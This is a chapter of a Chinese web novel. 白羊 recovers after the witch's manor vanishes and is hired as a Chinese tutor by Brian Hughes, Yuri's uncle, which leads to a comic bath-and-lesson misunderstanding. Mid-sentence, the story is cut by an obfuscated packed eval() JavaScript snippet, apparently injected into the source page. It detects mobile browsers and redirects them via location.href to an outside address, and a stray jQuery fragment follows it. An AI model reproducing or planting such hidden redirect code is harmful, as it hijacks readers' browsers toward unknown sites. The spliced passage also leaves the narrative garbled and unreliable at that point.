白羊醒来时看到了陌生的天花板,金发碧眼的女人正端着白粥看向她。
两人对视,白羊:“?”
艾丽连忙朝外喊:“哦,亲爱的,艾瑞丝夫人醒了。”
弗兰德闻声而来,他惊喜道:“艾瑞丝,很高兴你醒来了。”
白羊还不清楚发生了什么。
“等等,弗兰德……诶,我的头发呢?”
白羊觉得她的脑门有点冷,抬手摸了摸,光溜溜的。
弗兰德看向别处,他解释道:“这是一个悲痛的消息,你的头发被烧光了。”
确实很悲痛,白羊为自己的头发默哀两秒,随即去看自己的手。
手上的戒指还在,手指也还在——她记得被烧掉半根的。
好神奇。
“尤里呢?”
弗兰德与妻子对视一眼,两人不约而同:“尤里……嗯,他,嗯对……”
两人支支吾吾,谁也没有编出一句像样的话。
艾丽抱住白羊:“我可怜的朋友,先别想那些了,我想,我们该吃点东西了。”
西方女人真的很热情。
白羊有些不好意思,但看样子只能之后再了解了。
“嗯……尤里他还好吧?”
“他很好,真的,你不用担心。”
“哦是的,他很好。”
弗兰德夫妻俩说得有些慌乱,两人对视一眼,然后没了下文。
心脏跳动着,身上暖暖的,有种莫名的安心。
白羊向弗兰德道谢:“谢谢你,弗兰德,要不是你……”
弗兰德有些不好意思,他连连摆手。
“该我感谢夫人才是……”
艾丽也点头。
“是啊,要不是夫人,我的丈夫还回不来呢。”
话是这么说,但白羊还是觉得不好意思。
突然,白羊看到了窗外的月亮。
“弗兰德,我是不是该回去了?”
弗兰德瞬间瞪大了眼睛。
“哦,回哪去?政府的人来查,森林里根本没有什么庄园,那见鬼的庄园消失了!”
消失了?
白羊有些不可置信。
“庄园不见了,那尤里呢?”
艾丽不赞同地看着白羊。
“夫人,别总担心别人,要多为自己想想。”
白羊依旧盯着弗兰德。
弗兰德被盯得没办法,他叹了口气。
“那小子让我带你离开,他是庄园的主人,一切诅咒解释权在他,夫人你就不要担心别的了。”
这能不担心吗?
如果还有别的人对尤里图谋不轨呢?
而且她身上的伤能好也是因为尤里吧?
弗兰德没办法。
“夫人你别担心,你要相信,尤里那小子一定会没问题的。”
白羊想了很多,可想再多也只是尤里不想见她。
想清楚这一点,她有些难过,但也不再纠结这一点。
艾丽想着找话题转移这位艾瑞丝夫人的注意力。
“哦,艾瑞丝,我给你选了一顶假发,等会儿戴上看看怎么样?”
白羊没想到自己也到了用假发的年纪。
她摸着光秃秃的脑袋,觉得她的头被风吹着一定会冷。
最终,在艾丽的劝说下,白羊站到了梳妆镜前。
金色的长卷发,看起来格外漂亮。
也是因为看到了镜子,白羊才发现,她的眉毛也不见了。
这真是让人难过的事啊。
艾丽拿了眉笔给白羊画眉。
画完后她说:“你看,这样是不是好多了?”
被这样小心翼翼哄着,白羊很开心。
在她印象里,似乎只有师兄会哄她,她跟傅之行之间,更多的是她哄他,虽然晾着也行。
“非常感谢你,艾丽。”
“不用跟我客气,亲爱的姑娘。”
“……”
森林的事解决后,弗兰德决定离开村子,他该回到城市了。顺便,再问一下这位可怜的姑娘有什么安排。
是要回国还是继续留在这里。
被问到这些时,白羊有些尴尬。
“因为一些意外,我的丈夫可能以为我死了,我想,我的身份大概是注销了。”
“哦,可怜的姑娘。”
艾丽问白羊愿不愿意先跟着他们,等过些时候再做打算。
白羊心里感激,但又怕给弗兰德夫妻俩带来麻烦。
艾丽抱住白羊。
“别担心亲爱的,会有办法的。”
最后,也不知道弗兰德夫妇俩怎么安排的,他们带着白羊在当地移民局等地方办理了临时签证。
紧接着又为白羊找了份工作。
茫茫然的白羊:“?”
弗兰德也觉得惊奇。
“是的,你没听错,有位先生听说你是华国人,愿意雇你当他的中文老师。”
白羊觉得太巧了,巧得让人不敢相信。
弗兰德也觉得巧,但总归不是坏事,而且,说起巧合,他想到了一件事。
“说到这个,在庄园时,似乎有另外一位先生开了枪,没等我反应过来,那位先生就离开了。”
白羊:“?”
弗兰德小声道:“尤里说,那位是他母亲的客人。”
女巫的客人吗?那或许是来照顾尤里的。
白羊没多想,森林深处她也去不了,她现在还是个黑户,要顾及的地方太多,只能一件一件处理。
弗兰德所说的雇主说要见见她,于是白羊来到了雇主所在的酒店。
酒店奢华,哪里都金灿灿的,吊灯折射出暖色的光,引路的服务员带她到顶层套房。
电梯的速度很快,一直到五十六楼。
出了电梯间,再到门前,服务员按响了门铃,并对着里面说了些什么。
很快门开了,服务员做了个“请”的动作。
白羊明白,这是告诉她之后只能她自己进去了。
说实在,这是她第一次出国,虽然形式上让人摸不清头脑,周围的幻境也完全陌生。
她现在还要见一位陌生的雇主。
房门开后,白羊看到了鞋柜,鞋柜上有一双黑皮鞋,旁边衣物架上还挂着件大衣和帽子。
艾丽跟她讲过这里的一些礼节,白羊想,她大概也懂一些。
做了心理建设后,她换了拖鞋进去。
客厅里金发蓝眼的先生抬了眼,他指着旁边的沙发。
“白小姐,请坐,不要在意那些礼节。”
白羊有些忐忑,在听到那声白小姐时更是把心提到了嗓子眼。
“谢谢……您知道我的身份?”
这位先生很年轻,看起来二十五左右的年龄,那双蓝眼睛有些眼熟,以至于白羊又偷偷看了他一眼。
“白小姐,您不用紧张,如果您更喜欢我称您为艾瑞丝小姐的话,就当我没说。”
白羊有些搞不懂对方想做什么,既然他知道自己的身份,那大概也清楚她的现状。
“请让我介绍一下,我的名字是布莱恩·修斯,你可以叫我布莱恩。”
看对方这么认真地介绍自己,白羊觉得,不正式介绍一下自己有点说不过去。
“我的名字是白……”
布莱恩突然打断她。
“艾瑞丝小姐,不要提起逝者活着时候的名字,”
白羊缓缓闭上了嘴,这句话与庄园女主人信上是一样的。
布莱恩看对方没有追问,有些佩服对方的冷静。
“那么,艾瑞丝小姐,让我们进入主题,我想请您做我的中文老师,当然这不是最重要的,我希望您也能好好照顾我的侄子。”
有时候,白羊真觉得自己的翻译有点问题,但也能听懂。
她问:“您的侄子是?”
“尤里·安。安是我的哥哥,一个被女巫迷了眼的家伙。”
难怪,他们的蓝眼睛是这么相似。
布莱恩继续说。
“作为交换,我会支付你相应的酬劳,并为你解决身份的问题。”
“那真是太感谢您了,所以,尤里在哪里?”
布莱恩缓缓摇头。
“女巫的庄园在特殊的时间才能开启,过了今天,要等下一次月亮圆起来,我们才可以见到尤里。”
原来“月圆之夜”离开并不是说离开了就得当天回来,还可以不回去躲到下一个月圆夜。
这算是文字游戏了吧?
“修斯先生,到时候我们该怎么去找尤里呢?还要返回森林吗?”
布莱恩用手撑着下巴在思考。
“放心,只要艾瑞丝小姐在,入口会出现在您身边的,也许就是某一扇门。”
白羊松了一口气。
布莱恩全程盯着这位小姐,没有错过对方任何表情。
很漂亮的东亚女人,性子也很不错。
于是布莱恩开了一个玩笑:“现在天晚了,艾瑞丝小姐要不要留下歇歇?”
孤男寡女,还问这种问题的,指向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060151|195031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
性很明显。
但白羊显然没有往那边想,她点了点头。
“好,那就打扰修斯先生了,正好,我也有一些问题想问。”
布莱恩惊讶于白羊的大胆,他十指交叉用手背托住下巴。
“艾瑞丝小姐想了解些什么?身高?年龄?学历?还是家世?”
白羊想了想,只问了年龄,其他的对她来说意义不大,她不太懂。
布莱恩摊了摊手:“二十五。”
还真是二十五啊,白羊在心里想。
“虽然您的年龄有点大,但应该是没问题的。”
布莱恩眼角跳了跳,虽然脸上带笑,但心里却有些生气。
他的年龄大?二十五正是精力旺盛的年纪吧?
白羊想了一下,沉凝道:“那么,修斯先生,我们要试试吗?”
这女人……也太大胆了吧?这才第一次见面就要上床?
这下倒让布莱恩慌了。
“等等,现在吗?”
白羊诧异:“是要去洗澡了吗?那我等您洗完。”
布莱恩彻底不镇静了。他见过不少来这个国家留学的东方女人,没有几个像她这样大胆又自信的。
“女士优先,艾瑞丝小姐先洗吧。”
白羊:“?”
有钱人的怪毛病?上个课都要先洗澡?
两人完全没意识到自己不在一个频道上。
布莱恩说:“洗漱用品有两套,艾瑞丝小姐不用担心。”
就这样,一个人在疑惑中洗了澡,一个人在忐忑中等候,最后在忐忑中洗完澡。
等布莱恩洗完澡,看到的是白羊在纸上写的26个字母的大小写。
布莱恩惊疑:“艾瑞丝小姐?”
白羊又问了一遍布莱恩:“修斯先生,您之前有中文基础吗?”
布莱恩楞楞点头:“学过一些。”
白羊松了一口气,有基础就好,方便教学。
“那好,修斯先生,我们先来试课吧。”
布莱恩:“?”
以为是上床,没想到是上课,白高兴一场。
就这样,布莱恩耷拉着眼皮听白羊讲课。
只是二十六个字母的小写,这位先生就表现出了让白羊头疼的资质。
“修斯先生,您之前上过中文课吗?”
布莱恩也头疼,大晚上的就说这?
颇有种澡也洗了,裤子也脱了,结果上课铃响了,该上课了的感觉,让人瞬间兴致缺缺打瞌睡。
“艾瑞丝小姐,您有交往对象吗?”
难伺候,白羊看出布莱恩不想上课,只好结束这次的试课。
她伸出手,亮出无名指上的戒指。
“我已经结婚了,修斯先生。”
布莱恩愣了一下。
“是吗?”那可惜了。
白羊将茶几上的几张纸叠好放在一旁,偶然看到另一边桌上放大手枪,她问:“修斯先生,这两天您去过女巫的庄园吗?”
国外是不禁枪的。
看到这把枪,白羊想到弗兰德说的,当时还有另一个人开枪。
布莱恩点了点头,他听说过华国是禁枪的,以为这姑娘好奇手枪,于是拿了给这姑娘。
“那天我来迟了。”
白羊不敢接,就怕手贱按着哪给自己崩了。
但听到布莱恩的话,她心里的石头算是落下了,这位修斯先生认识尤里,那是女巫的客人也不奇怪,既然与女巫交好,那当时出手应该是出于情谊。
布莱恩看这姑娘乖训的模样,不免有些好笑。
“没见过枪?”
白羊摇头。
“怕给自己崩了。”
布莱恩笑着将手枪枪口对准地面,随即把子弹都卸了,做完这些他把枪拿给白羊。
白羊掌心朝上,手枪放在她手里的时候险些没拿住。
分量很足,比塑料的要沉太多了。
枪身是冷的,有花纹,是哪种型号她不清楚,最后只看了看就还回去了。
布莱恩看人感兴趣,他也来了兴趣。
“喜欢?”
白羊缓缓摇头。
布莱恩毫不在意道:“喜欢等之后送你一把。”
白羊僵着脸笑:“那我还是喜欢修斯先生能好好学习中文,到时候我们可以用中文交流。”
布莱恩觉得中文难,字形上,发音上都是。
他中文成绩不好,但有钱,没影响毕业。
但看如果这位小姐喜欢的话,也不是不能学。